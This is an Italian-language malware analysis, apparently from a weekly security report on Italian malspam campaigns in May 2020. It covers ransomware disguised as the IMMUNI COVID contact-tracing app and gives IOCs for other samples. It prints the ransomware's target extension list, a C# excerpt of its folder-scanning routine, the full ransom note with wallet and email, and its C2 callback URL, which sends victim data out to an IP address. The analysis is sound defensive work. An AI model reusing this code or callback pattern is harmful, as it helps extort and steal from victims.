La mail con vari riferimenti al CoronaVirus e all'APP IMMUNI per il contact tracing, invita a cliccare il link: https://www.fofl[.]it/IMMUNI.exe da dove viene scaricato il payload del Ransomware.

Anche dall'icona e dal nome del file si notano i chiari riferimenti all'APP IMMUNI ed al CoronaVirus, di seguito vediamo l'icona e le caratteristiche del file eseguibile:

IMMUNI.exe MD5: b226803ac5a68cd86ecb7c0c6c4e9d00 Dimensione: 978432 Bytes VirIT: Trojan.Win32.FuckUnicorn.A

Analizzando il codice del Ransomware che è stato scritto in linguaggio C# si può subito notare che le estensioni dei file da cifrare sono:

".txt", ".jar", ".exe", ".dat", ".contact", ".settings", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".py", ".sql", ".mdb", ".sln", ".php", ".asp", ".asp", ".html", ".htm", ".xml", ".psd", ".pdf", ".dll", ".c", ".cs", ".mp3", ".mp4", ".f3d", ".dwg", ".cpp", ".zip", ".rar", ".mov", ".rtf", ".bmp", ".mkv", ".avi", ".apk", ".lnk", ".iso", ".7-zip", ".ace,".arj", ".bz2", ".cab", ".gzip", ".lzh", ".tar", ".uue", ".xz", ".z", ".001", ".mpeg", ".mp3", ".mpg", ".core", ".crproj", ".pdb", ".ico", ".pas", ".db", ".torrent"

Ed i file da cifrare vengono cercati ricorsivamente all'interno delle seguenti cartelle come vediamo da un estratto della routine di cifratura:

[...] private string userDir = "C:\\"; private string userName = Environment.UserName; [...] string str = "Users\\"; string location = this.userDir + str + this.userName + "\\Desktop"; string location2 = this.userDir + str + this.userName + "\\Links"; string location3 = this.userDir + str + this.userName + "\\Contacts"; string location4 = this.userDir + str + this.userName + "\\Desktop"; string location5 = this.userDir + str + this.userName + "\\Documents"; string location6 = this.userDir + str + this.userName + "\\Downloads"; string location7 = this.userDir + str + this.userName + "\\Pictures"; string location8 = this.userDir + str + this.userName + "\\Music"; string location9 = this.userDir + str + this.userName + "\\OneDrive"; string location10 = this.userDir + str + this.userName + "\\Saved Games"; string location11 = this.userDir + str + this.userName + "\\Favorites"; string location12 = this.userDir + str + this.userName + "\\Searches"; string location13 = this.userDir + str + this.userName + "\\Videos"; [...]

In seguito viene creato il file con le istruzioni del riscatto in questa cartella: %userprofile%\Desktop\ con nome "READ_IT.txt" contenente il seguente testo:

"La lunga serpe sul bastone di Asceplio si è ribellata, ed una nuova era sta per sopraggiungere!", "Questa è la vostra possibilità per redimervi dopo anni di peccati e soprusi.", "Sta a voi scegliere. Entro 3 giorni il pegno pagare dovrai o il fuoco di Prometeo cancellerà", "i vostri dati così come ha cancellato il potere degli Dei sugli uomini.  Il pegno è di solamente 300 euros, da pagare", "con i Bitcoin al seguente indirizzo : 195naAM74WpLtGHsKp9azSsXWmBCaDscxJ dopo che pagato avrai, ", "una email mandarci dovrai. xxcte2664@protonmail.com il codice di transazione sarà la prova.", "Dopo il pegno pagato riceverai la soluzione per spegnere il fuoco di Prometeo. Andare dalla ", "polizia o chiamare tecnici a niente servirà, nessun essere umano aiutarti potrà."

Il prezzo del riscatto da pagare è di 300 Euro, da versare in cryptovaluta BitCoin al seguente wallet: 195naAM74WpLtGHsKp9azSsXWmBCaDscxJ
In data 29/05/2020 il Wallet risulta vuoto e non ha mai eseguito alcuna transazione sia in ingresso che in uscita.

Viene inoltre modificato lo sfondo del desktop con un'immagine scaricata dal sito di condivisione immagini https://i.imgur[.]com/6bDNKfs.jpg che vediamo di seguito:

Il Ransomware invia una serie di informazioni al suo server di Comando & Controllo con la seguente struttura: http://116.203.210.127/write.php?computer_name=<NOME PC>&userName=<NOME UTENTE>&password=<STRINGA 15 caratteri>&allow=ransom

• computer_name: Nome del computer colpito
• userName: Nome utente del computer colpito
• password: Stringa di 15 caratteri randomici utilizzata per generare la chiave AES (Rijndael) per la cifratura dei file
• allow: valore costante impostato a "ransom"

Analizzando il payload del Malware si nota che è presente un PDB:
C:\Users\Leonardo\source\repos\ fuckunicorn\fuckunicorn\obj\Release\IMMUNI.pdb

PWStealer

Torna ad inizio pagina
 

 

Versione: 214139

Gruppo: 4444

Key: 21291029JSJUXMPP

c5af22bdd1bd2a32637ada6ce8b2f02f
503f619862a12d7fb3b2221eda61ef0a

Ave_Maria

Payment Receipt2020050001.exe
MD5: a64b90eda4e7222d9d1ae9e8df28b4b1
Dimensione: 1145856 Bytes
VirIT: Trojan.Win32.Avemaria.BV

IOC:

Torna ad inizio pagina
  

PWStealer

Enumerazione Metalsider - Ordine di febbraio 2020.exe
MD5: d9698ac2d7069a91b406c7fc90959b96
Dimensione: 663552 Bytes

 

16/05/2020 = Report settimanale delle campagne italiane di Malspam dal 16 maggio al 22 maggio 2020